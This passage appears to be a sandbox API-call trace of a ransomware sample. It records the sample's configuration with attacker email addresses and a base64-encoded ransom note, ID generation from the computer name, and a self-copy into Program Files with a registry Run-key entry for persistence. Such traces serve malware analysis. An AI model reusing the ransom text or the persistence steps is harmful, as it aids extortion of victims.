Ptr=0x33cfb48, Size=0x80) returned 0x33cfb48 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1a50 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cfb48, Size=0x84) returned 0x33c7d40 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1830 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x88) returned 0x33c7d40 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e18b0 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33c7d40, Size=0x8c) returned 0x33ca620 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1990 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d8b20, Size=0x24) returned 0x33d1ba8 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1ab0 [0053.811] strtol (in: _Str="0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2fcfe8c, _Radix=0 | out: _EndPtr=0x2fcfe8c*=",\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1ba8, Size=0x28) returned 0x33d1cf8 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1ad0 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d1cf8, Size=0x2c) returned 0x33cc308 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1b90 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc308, Size=0x30) returned 0x33cc420 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1850 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e19b0 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33d6898, Size=0x8) returned 0x33d68a8 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1a30 [0053.811] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33cc420, Size=0x34) returned 0x33df8d8 [0053.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18) returned 0x33e1af0 [0053.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6948) returned 1 [0053.811] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8600) returned 1 [0053.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x33dfa18 [0053.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x33d2b18 [0053.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33d0438 [0053.812] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6908) returned 1 [0053.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x33d12c0 [0053.812] GetVersion () returned 0x3ad7000a [0053.812] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x33d12c8 | out: Wow64Process=0x33d12c8) returned 1 [0053.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x21) returned 0x33d1c08 [0053.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x384) returned 0x33e2008 [0053.815] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x2fcfe44 | out: lpBuffer=0x0, nSize=0x2fcfe44) returned 0 [0053.816] GetLastError () returned 0xea [0053.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10) returned 0x33d2518 [0053.816] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x33d2518, nSize=0x2fcfe44 | out: lpBuffer="NQDPDE", nSize=0x2fcfe44) returned 1 [0053.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf4) returned 0x33d2170 [0053.816] GetCurrentHwProfileW (in: lpHwProfileInfo=0x33d2170 | out: lpHwProfileInfo=0x33d2170) returned 1 [0053.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33ca438 [0053.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8b20 [0053.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8b20) returned 1 [0053.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8af8 [0053.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d88c8 [0053.817] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d88c8) returned 1 [0053.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x41) returned 0x33d2d48 [0053.817] sprintf (in: _Dest=0x33d2d48, _Format="%0.2x" | out: _Dest="d0") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d4a, _Format="%0.2x" | out: _Dest="e7") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d4c, _Format="%0.2x" | out: _Dest="31") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d4e, _Format="%0.2x" | out: _Dest="38") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d50, _Format="%0.2x" | out: _Dest="58") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d52, _Format="%0.2x" | out: _Dest="e3") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d54, _Format="%0.2x" | out: _Dest="f9") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d56, _Format="%0.2x" | out: _Dest="ca") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d58, _Format="%0.2x" | out: _Dest="57") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d5a, _Format="%0.2x" | out: _Dest="f4") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d5c, _Format="%0.2x" | out: _Dest="c7") returned 2 [0053.817] sprintf (in: _Dest=0x33d2d5e, _Format="%0.2x" | out: _Dest="71") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d60, _Format="%0.2x" | out: _Dest="32") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d62, _Format="%0.2x" | out: _Dest="ee") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d64, _Format="%0.2x" | out: _Dest="e3") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d66, _Format="%0.2x" | out: _Dest="6b") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d68, _Format="%0.2x" | out: _Dest="0a") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d6a, _Format="%0.2x" | out: _Dest="6f") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d6c, _Format="%0.2x" | out: _Dest="d9") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d6e, _Format="%0.2x" | out: _Dest="79") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d70, _Format="%0.2x" | out: _Dest="e9") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d72, _Format="%0.2x" | out: _Dest="fd") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d74, _Format="%0.2x" | out: _Dest="e5") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d76, _Format="%0.2x" | out: _Dest="a7") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d78, _Format="%0.2x" | out: _Dest="0c") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d7a, _Format="%0.2x" | out: _Dest="e0") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d7c, _Format="%0.2x" | out: _Dest="c4") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d7e, _Format="%0.2x" | out: _Dest="57") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d80, _Format="%0.2x" | out: _Dest="db") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d82, _Format="%0.2x" | out: _Dest="f6") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d84, _Format="%0.2x" | out: _Dest="e5") returned 2 [0053.818] sprintf (in: _Dest=0x33d2d86, _Format="%0.2x" | out: _Dest="45") returned 2 [0053.818] RtlInitAnsiString (in: DestinationString=0x2fcfe00, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545" | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") [0053.818] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fcfe08, SourceString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545", AllocateDestinationString=1 | out: DestinationString="d0e7313858e3f9ca57f4c77132eee36b0a6fd979e9fde5a70ce0c457dbf6e545") returned 0x0 [0053.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2b10 [0053.819] RtlFreeAnsiString (AnsiString="d") [0053.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8af8) returned 1 [0053.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca438) returned 1 [0053.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2170) returned 1 [0053.819] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2518) returned 1 [0053.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16) returned 0x33e1950 [0053.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x16) returned 0x33e1870 [0053.819] wcscpy (in: _Dest=0x33e1870, _Source="d0e7313858" | out: _Dest="d0e7313858") returned="d0e7313858" [0053.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20a) returned 0x33cb228 [0053.819] wcscpy (in: _Dest=0x33cb228, _Source="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe") returned="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe" [0053.819] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20a) returned 0x33ca120 [0053.819] SHGetFolderPathW (in: hwnd=0x0, csidl=42, hToken=0x0, dwFlags=0x0, pszPath=0x33ca120 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0053.823] wcscat (in: _Dest=0x33ca120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0053.823] wcscat (in: _Dest=0x33ca120, _Source="d0e7313858" | out: _Dest="C:\\Program Files (x86)\\d0e7313858") returned="C:\\Program Files (x86)\\d0e7313858" [0053.823] CreateDirectoryW (lpPathName="C:\\Program Files (x86)\\d0e7313858" (normalized: "c:\\program files (x86)\\d0e7313858"), lpSecurityAttributes=0x0) returned 1 [0053.825] wcscat (in: _Dest=0x33ca120, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\") returned="C:\\Program Files (x86)\\d0e7313858\\" [0053.825] wcscat (in: _Dest=0x33ca120, _Source="d0e7313858" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\d0e7313858") returned="C:\\Program Files (x86)\\d0e7313858\\d0e7313858" [0053.825] wcscat (in: _Dest=0x33ca120, _Source=".exe" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe") returned="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" [0053.825] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\2c08f5ca36.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\2c08f5ca36.exe"), lpNewFileName="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" (normalized: "c:\\program files (x86)\\d0e7313858\\d0e7313858.exe"), bFailIfExists=0) returned 1 [0053.868] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\microsoft\\windows\\currentversion\\run", ulOptions=0x0, samDesired=0x2011f, phkResult=0x2fcfdb4 | out: phkResult=0x2fcfdb4*=0x2bc) returned 0x0 [0053.868] RegSetValueExW (in: hKey=0x2bc, lpValueName="d0e7313858", Reserved=0x0, dwType=0x1, lpData="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe", cbData=0x62 | out: lpData="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe") returned 0x0 [0053.868] wcscpy (in: _Dest=0x32140d8, _Source="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" | out: _Dest="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe") returned="C:\\Program Files (x86)\\d0e7313858\\d0e7313858.exe" [0053.868] RegFlushKey (hKey=0x2bc) returned 0x0 [0054.021] RegCloseKey (hKey=0x2bc) returned 0x0 [0054.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ca120) returned 1 [0054.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8af8 [0054.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d88c8 [0054.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d88f0 [0054.323] NtQuerySystemTime (in: CurrentTime=0x2fcfe10 | out: CurrentTime=0x2fcfe10*=132121176122145311) returned 0x0 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x973bb22b [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xdc943403 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x22d936d4 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xec0b476 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xc0d02424 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xdcbaa5b2 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x44b90011 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x1104c75e [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x48ca5d54 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x92903e01 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xa5861544 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x26af26f6 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x72612f7d [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xaf8ca0e6 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xd30882e3 [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x395f4e4c [0054.323] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xdf8c7aee [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xe769d1fc [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x87e57f99 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xaae4ed27 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xa3ec649a [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xee8be7b7 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xa56e7099 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x89102f0c [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x6d08307b [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x6165b7cc [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x974aa013 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x62ee55f1 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xca8a020d [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0x840d9928 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xb4934f66 [0054.324] RtlRandom (in: Seed=0x2fcfe1c | out: Seed=0x2fcfe1c) returned 0xb7d34044 [0054.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8918 [0054.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8b20 [0054.342] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33d8800 [0054.342] NtQuerySystemTime (in: CurrentTime=0x2fcfdd0 | out: CurrentTime=0x2fcfdd0*=132121176122301456) returned 0x0 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xa292fb83 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x4d5b690e [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x3fc5265d [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x746b6d89 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x3b829a36 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x1ac008ca [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x72838be2 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xae7468be [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xeb5b7a08 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x111e7320 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x27611954 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xe9d06a30 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x7085aa73 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xd88b8c80 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x3835fdef [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xe572243f [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x9caffb1f [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x723a8b8 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x7966977e [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x9731dc5d [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x51d8cbfc [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x514bee3 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xc2ef8182 [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xf1dbafee [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x705dc01a [0054.342] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xebfa35ee [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x17f42210 [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x380c3bd1 [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x7bb6614d [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x5ee4b7df [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0xd281c43f [0054.343] RtlRandom (in: Seed=0x2fcfddc | out: Seed=0x2fcfddc) returned 0x7766b604 [0054.344] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e3718 [0054.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c49b8 [0054.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e3560 [0054.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c49b8) returned 1 [0054.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8918) returned 1 [0054.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33cfc40 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x33c49b8 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e33d0 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e33d0) returned 1 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e3678 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e3650 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e36a0 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e36a0) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c49b8) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cfc40) returned 1 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x33c49b8 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3678) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3650) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8b20) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3718) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3560) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d88f0) returned 1 [0054.348] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d8af8) returned 1 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8c) returned 0x33cb440 [0054.348] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33d1bd8 [0054.348] wcscpy (in: _Dest=0x33d1bd8, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0054.348] wcscat (in: _Dest=0x33d1bd8, _Source="d0e7313858" | out: _Dest="software\\d0e7313858") returned="software\\d0e7313858" [0054.348] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="software\\d0e7313858", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf013f, lpSecurityAttributes=0x0, phkResult=0x2fcfe18, 